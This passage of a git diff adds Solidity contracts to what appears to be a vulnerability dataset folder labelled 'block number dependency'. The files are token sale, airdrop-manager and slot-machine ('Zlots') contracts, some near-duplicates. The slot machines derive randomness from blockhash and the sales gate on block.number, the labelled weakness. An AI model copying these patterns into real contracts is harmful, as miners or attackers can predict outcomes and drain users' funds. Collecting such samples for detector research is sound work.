OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1406.sol b/smart_contract_dataset/block number dependency/1406.sol new file mode 100644 index 0000000000000000000000000000000000000000..126cf2a97758a1d157bc3b71a5386cb46a4b6ad3 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1406.sol @@ -0,0 +1,247 @@ +pragma solidity ^0.4.12; + +contract IMigrationContract { + function migrate(address addr, uint256 nas) returns (bool success); +} + + +contract SafeMath { + + + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract EVTCTLToken is StandardToken, SafeMath { + + + string public constant name = "EVTC"; + string public constant symbol = "EVTC"; + uint256 public constant decimals = 18; + string public version = "1.0"; + + + address public ethFundDeposit; + address public newContractAddr; + + + bool public isFunding; + uint256 public fundingStartBlock; + uint256 public fundingStopBlock; + + uint256 public currentSupply; + uint256 public tokenRaised = 0; + uint256 public tokenMigrated = 0; + uint256 public tokenExchangeRate = 2600; + + + event AllocateToken(address indexed _to, uint256 _value); + event IssueToken(address indexed _to, uint256 _value); + event IncreaseSupply(uint256 _value); + event DecreaseSupply(uint256 _value); + event Migrate(address indexed _to, uint256 _value); + + + function formatDecimals(uint256 _value) internal returns (uint256 ) { + return _value * 10 ** decimals; + } + + + function EVTCTLToken( + address _ethFundDeposit, + uint256 _currentSupply) + { + ethFundDeposit = _ethFundDeposit; + + isFunding = false; + fundingStartBlock = 0; + fundingStopBlock = 0; + + currentSupply = formatDecimals(_currentSupply); + totalSupply = formatDecimals(100000000); + balances[msg.sender] = totalSupply; + if(currentSupply > totalSupply) throw; + } + + modifier isOwner() { require(msg.sender == ethFundDeposit); _; } + + + function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { + if (_tokenExchangeRate == 0) throw; + if (_tokenExchangeRate == tokenExchangeRate) throw; + + tokenExchangeRate = _tokenExchangeRate; + } + + + function increaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + currentSupply > totalSupply) throw; + currentSupply = safeAdd(currentSupply, value); + IncreaseSupply(value); + } + + + function decreaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + tokenRaised > currentSupply) throw; + + currentSupply = safeSubtract(currentSupply, value); + DecreaseSupply(value); + } + + + function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { + if (isFunding) throw; + if (_fundingStartBlock >= _fundingStopBlock) throw; + if (block.number >= _fundingStartBlock) throw; + + fundingStartBlock = _fundingStartBlock; + fundingStopBlock = _fundingStopBlock; + isFunding = true; + } + + + function stopFunding() isOwner external { + if (!isFunding) throw; + isFunding = false; + } + + + function setMigrateContract(address _newContractAddr) isOwner external { + if (_newContractAddr == newContractAddr) throw; + newContractAddr = _newContractAddr; + } + + + function changeOwner(address _newFundDeposit) isOwner() external { + if (_newFundDeposit == address(0x0)) throw; + ethFundDeposit = _newFundDeposit; + } + + + function migrate() external { + if(isFunding) throw; + if(newContractAddr == address(0x0)) throw; + + uint256 tokens = balances[msg.sender]; + if (tokens == 0) throw; + + balances[msg.sender] = 0; + tokenMigrated = safeAdd(tokenMigrated, tokens); + + IMigrationContract newContract = IMigrationContract(newContractAddr); + if (!newContract.migrate(msg.sender, tokens)) throw; + + Migrate(msg.sender, tokens); + } + + + function transferETH() isOwner external { + if (this.balance == 0) throw; + if (!ethFundDeposit.send(this.balance)) throw; + } + + + function allocateToken (address _addr, uint256 _eth) isOwner external { + if (_eth == 0) throw; + if (_addr == address(0x0)) throw; + + uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[_addr] += tokens; + + AllocateToken(_addr, tokens); + } + + + function () payable { + if (!isFunding) throw; + if (msg.value == 0) throw; + + if (block.number < fundingStartBlock) throw; + if (block.number > fundingStopBlock) throw; + + uint256 tokens = safeMult(msg.value, tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[msg.sender] += tokens; + + IssueToken(msg.sender, tokens); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1472.sol b/smart_contract_dataset/block number dependency/1472.sol new file mode 100644 index 0000000000000000000000000000000000000000..a2652feb3b938a958c37d1be9738706b0089de89 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1472.sol @@ -0,0 +1,472 @@ +pragma solidity ^0.4.24; + + + +contract ZTHReceivingContract { + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + +contract ZTHInterface { + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zlots is ZTHReceivingContract { + using SafeMath for uint; + + address private owner; + address private bankroll; + + + uint totalSpins; + uint totalZTHWagered; + + + uint contractBalance; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + ZTHInterface private ZTHTKN; + + mapping (uint => bool) validTokenBet; + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + uint _category, + bool _win + ); + + + event Loss(address _wagerer, uint _block); + event ThreeMoonJackpot(address _wagerer, uint _block); + event TwoMoonPrize(address _wagerer, uint _block); + event ZTHJackpot(address _wagerer, uint _block); + event ThreeZSymbols(address _wagerer, uint _block); + event ThreeTSymbols(address _wagerer, uint _block); + event ThreeHSymbols(address _wagerer, uint _block); + event ThreeEtherIcons(address _wagerer, uint _block); + event ThreeGreenPyramids(address _wagerer, uint _block); + event ThreeGoldPyramids(address _wagerer, uint _block); + event ThreeWhitePyramids(address _wagerer, uint _block); + event OneMoonPrize(address _wagerer, uint _block); + event OneOfEachPyramidPrize(address _wagerer, uint _block); + event TwoZSymbols(address _wagerer, uint _block); + event TwoTSymbols(address _wagerer, uint _block); + event TwoHSymbols(address _wagerer, uint _block); + event TwoEtherIcons(address _wagerer, uint _block); + event TwoGreenPyramids(address _wagerer, uint _block); + event TwoGoldPyramids(address _wagerer, uint _block); + event TwoWhitePyramids(address _wagerer, uint _block); + + event SpinConcluded(address _wagerer, uint _block); + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + modifier gameIsActive { + require(gameActive == true); + _; + } + + constructor(address ZethrAddress, address BankrollAddress) public { + + + ZTHTKNADDR = ZethrAddress; + ZTHBANKROLL = BankrollAddress; + + + owner = msg.sender; + bankroll = ZTHBANKROLL; + + + ZTHTKN = ZTHInterface(ZTHTKNADDR); + ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1); + + + ZTHTKN.approve(owner, 2**256 - 1); + + + validTokenBet[1e18] = true; + validTokenBet[5e18] = true; + validTokenBet[10e18] = true; + validTokenBet[25e18] = true; + validTokenBet[50e18] = true; + + gameActive = true; + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function tokenFallback(address _from, uint _value, bytes ) public returns (bool){ + if (_from == bankroll) { + + contractBalance = contractBalance.add(_value); + return true; + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn); + return true; + } + } + + struct playerSpin { + uint200 tokenValue; + uint56 blockn; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn) private { + + require(gameActive); + require(_zthToken(msg.sender)); + require(validTokenBet[_tkn.value]); + require(jackpotGuard(_tkn.value)); + + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 56) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + contractBalance = contractBalance.add(_wagered); + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint56(block.number); + spin.tokenValue = uint200(_wagered); + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + uint category = 0; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 999999; + } else { + + + + result = random(1000000, spin.blockn, target); + } + + if (result > 476661) { + + emit Loss(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, false); + } else { + if (result < 1) { + + profit = SafeMath.mul(spin.tokenValue, 500); + category = 1; + emit ThreeMoonJackpot(target, spin.blockn); + } else + if (result < 298) { + + profit = SafeMath.mul(spin.tokenValue, 232); + category = 2; + emit TwoMoonPrize(target, spin.blockn); + } else + if (result < 3127) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10); + category = 3; + emit ZTHJackpot(target, spin.blockn); + + } else + if (result < 5956) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 4; + emit ThreeZSymbols(target, spin.blockn); + } else + if (result < 8785) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 5; + emit ThreeTSymbols(target, spin.blockn); + } else + if (result < 11614) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 6; + emit ThreeHSymbols(target, spin.blockn); + } else + if (result < 14443) { + + profit = SafeMath.mul(spin.tokenValue, 50); + category = 7; + emit ThreeEtherIcons(target, spin.blockn); + } else + if (result < 17272) { + + profit = SafeMath.mul(spin.tokenValue, 40); + category = 8; + emit ThreeGreenPyramids(target, spin.blockn); + } else + if (result < 20101) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 9; + emit ThreeGoldPyramids(target, spin.blockn); + } else + if (result < 22929) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 10; + emit ThreeWhitePyramids(target, spin.blockn); + } else + if (result < 52332) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10); + category = 11; + emit OneMoonPrize(target, spin.blockn); + } else + if (result < 120225) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); + category = 12; + emit OneOfEachPyramidPrize(target, spin.blockn); + } else + if (result < 171146) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 13; + emit TwoZSymbols(target, spin.blockn); + } else + if (result < 222067) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 14; + emit TwoTSymbols(target, spin.blockn); + } else + if (result < 272988) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 15; + emit TwoHSymbols(target, spin.blockn); + } else + if (result < 323909) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100); + category = 16; + emit TwoEtherIcons(target, spin.blockn); + } else + if (result < 374830) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10); + category = 17; + emit TwoGreenPyramids(target, spin.blockn); + } else + if (result < 425751) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100); + category = 18; + emit TwoGoldPyramids(target, spin.blockn); + } else { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 19; + emit TwoWhitePyramids(target, spin.blockn); + } + + emit LogResult(target, result, profit, spin.tokenValue, category, true); + contractBalance = contractBalance.sub(profit); + ZTHTKN.transfer(target, profit); + } + + + playerSpins[target] = playerSpin(uint200(0), uint56(0)); + emit SpinConcluded(target, spin.blockn); + return result; + } + + + + + + function jackpotGuard(uint _wager) + private + view + returns (bool) + { + uint maxProfit = SafeMath.mul(_wager, 500); + uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9); + return (maxProfit <= ninetyContractBalance); + } + + + + function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + address(this), + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function balanceOf() public view returns (uint) { + return contractBalance; + } + + function addNewBetAmount(uint _tokenAmount) + public + onlyOwner + { + validTokenBet[_tokenAmount] = true; + } + + + function pauseGame() public onlyOwner { + gameActive = false; + } + + + function resumeGame() public onlyOwner { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwner { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwner { + bankroll = _newBankroll; + } + + function divertDividendsToBankroll() + public + onlyOwner + { + bankroll.transfer(address(this).balance); + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1482.sol b/smart_contract_dataset/block number dependency/1482.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1482.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1546.sol b/smart_contract_dataset/block number dependency/1546.sol new file mode 100644 index 0000000000000000000000000000000000000000..a9b9b3ba6e0c1b05ae633df822615b7e5e1e4a53 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1546.sol @@ -0,0 +1,472 @@ +pragma solidity ^0.4.24; + + + +contract ZTHReceivingContract { + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + +contract ZTHInterface { + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zlots is ZTHReceivingContract { + using SafeMath for uint; + + address private owner; + address private bankroll; + + + uint totalSpins; + uint totalZTHWagered; + + + uint contractBalance; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + ZTHInterface private ZTHTKN; + + mapping (uint => bool) validTokenBet; + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + uint _category, + bool _win + ); + + + event Loss(address _wagerer, uint _block); + event ThreeMoonJackpot(address _wagerer, uint _block); + event TwoMoonPrize(address _wagerer, uint _block); + event ZTHJackpot(address _wagerer, uint _block); + event ThreeZSymbols(address _wagerer, uint _block); + event ThreeTSymbols(address _wagerer, uint _block); + event ThreeHSymbols(address _wagerer, uint _block); + event ThreeEtherIcons(address _wagerer, uint _block); + event ThreeGreenPyramids(address _wagerer, uint _block); + event ThreeGoldPyramids(address _wagerer, uint _block); + event ThreeWhitePyramids(address _wagerer, uint _block); + event OneMoonPrize(address _wagerer, uint _block); + event OneOfEachPyramidPrize(address _wagerer, uint _block); + event TwoZSymbols(address _wagerer, uint _block); + event TwoTSymbols(address _wagerer, uint _block); + event TwoHSymbols(address _wagerer, uint _block); + event TwoEtherIcons(address _wagerer, uint _block); + event TwoGreenPyramids(address _wagerer, uint _block); + event TwoGoldPyramids(address _wagerer, uint _block); + event TwoWhitePyramids(address _wagerer, uint _block); + + event SpinConcluded(address _wagerer, uint _block); + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + modifier gameIsActive { + require(gameActive == true); + _; + } + + constructor(address ZethrAddress, address BankrollAddress) public { + + + ZTHTKNADDR = ZethrAddress; + ZTHBANKROLL = BankrollAddress; + + + owner = msg.sender; + bankroll = ZTHBANKROLL; + + + ZTHTKN = ZTHInterface(ZTHTKNADDR); + ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1); + + + ZTHTKN.approve(owner, 2**256 - 1); + + + validTokenBet[5e18] = true; + validTokenBet[10e18] = true; + validTokenBet[25e18] = true; + validTokenBet[50e18] = true; + + gameActive = true; + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function tokenFallback(address _from, uint _value, bytes ) public returns (bool){ + if (_from == bankroll) { + + contractBalance = contractBalance.add(_value); + return true; + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn); + return true; + } + } + + struct playerSpin { + uint200 tokenValue; + uint56 blockn; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn) private { + + require(gameActive); + require(_zthToken(msg.sender)); + require(validTokenBet[_tkn.value]); + require(jackpotGuard(_tkn.value)); + + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 56) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint56(block.number); + spin.tokenValue = uint200(_wagered); + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + uint category = 0; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 999999; + } else { + + + + result = random(1000000, spin.blockn, target); + } + + if (result > 476661) { + + contractBalance = contractBalance.add(spin.tokenValue); + emit Loss(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, false); + } else { + if (result < 1) { + + profit = SafeMath.mul(spin.tokenValue, 500); + category = 1; + emit ThreeMoonJackpot(target, spin.blockn); + } else + if (result < 298) { + + profit = SafeMath.mul(spin.tokenValue, 232); + category = 2; + emit TwoMoonPrize(target, spin.blockn); + } else + if (result < 3127) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10); + category = 3; + emit ZTHJackpot(target, spin.blockn); + + } else + if (result < 5956) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 4; + emit ThreeZSymbols(target, spin.blockn); + } else + if (result < 8785) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 5; + emit ThreeTSymbols(target, spin.blockn); + } else + if (result < 11614) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 6; + emit ThreeHSymbols(target, spin.blockn); + } else + if (result < 14443) { + + profit = SafeMath.mul(spin.tokenValue, 50); + category = 7; + emit ThreeEtherIcons(target, spin.blockn); + } else + if (result < 17272) { + + profit = SafeMath.mul(spin.tokenValue, 40); + category = 8; + emit ThreeGreenPyramids(target, spin.blockn); + } else + if (result < 20101) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 9; + emit ThreeGoldPyramids(target, spin.blockn); + } else + if (result < 22929) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 10; + emit ThreeWhitePyramids(target, spin.blockn); + } else + if (result < 52332) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10); + category = 11; + emit OneMoonPrize(target, spin.blockn); + } else + if (result < 120225) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); + category = 12; + emit OneOfEachPyramidPrize(target, spin.blockn); + } else + if (result < 171146) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 13; + emit TwoZSymbols(target, spin.blockn); + } else + if (result < 222067) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 14; + emit TwoTSymbols(target, spin.blockn); + } else + if (result < 272988) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 15; + emit TwoHSymbols(target, spin.blockn); + } else + if (result < 323909) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100); + category = 16; + emit TwoEtherIcons(target, spin.blockn); + } else + if (result < 374830) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10); + category = 17; + emit TwoGreenPyramids(target, spin.blockn); + } else + if (result < 425751) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100); + category = 18; + emit TwoGoldPyramids(target, spin.blockn); + } else { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 19; + emit TwoWhitePyramids(target, spin.blockn); + } + + emit LogResult(target, result, profit, spin.tokenValue, category, true); + contractBalance = contractBalance.sub(profit); + ZTHTKN.transfer(target, profit); + } + + + playerSpins[target] = playerSpin(uint200(0), uint56(0)); + emit SpinConcluded(target, spin.blockn); + return result; + } + + + + + + function jackpotGuard(uint _wager) + private + view + returns (bool) + { + uint maxProfit = SafeMath.mul(_wager, 500); + uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9); + return (maxProfit <= ninetyContractBalance); + } + + + + function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + address(this), + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function balanceOf() public view returns (uint) { + return contractBalance; + } + + function addNewBetAmount(uint _tokenAmount) + public + onlyOwner + { + validTokenBet[_tokenAmount] = true; + } + + + function pauseGame() public onlyOwner { + gameActive = false; + } + + + function resumeGame() public onlyOwner { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwner { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwner { + bankroll = _newBankroll; + } + + 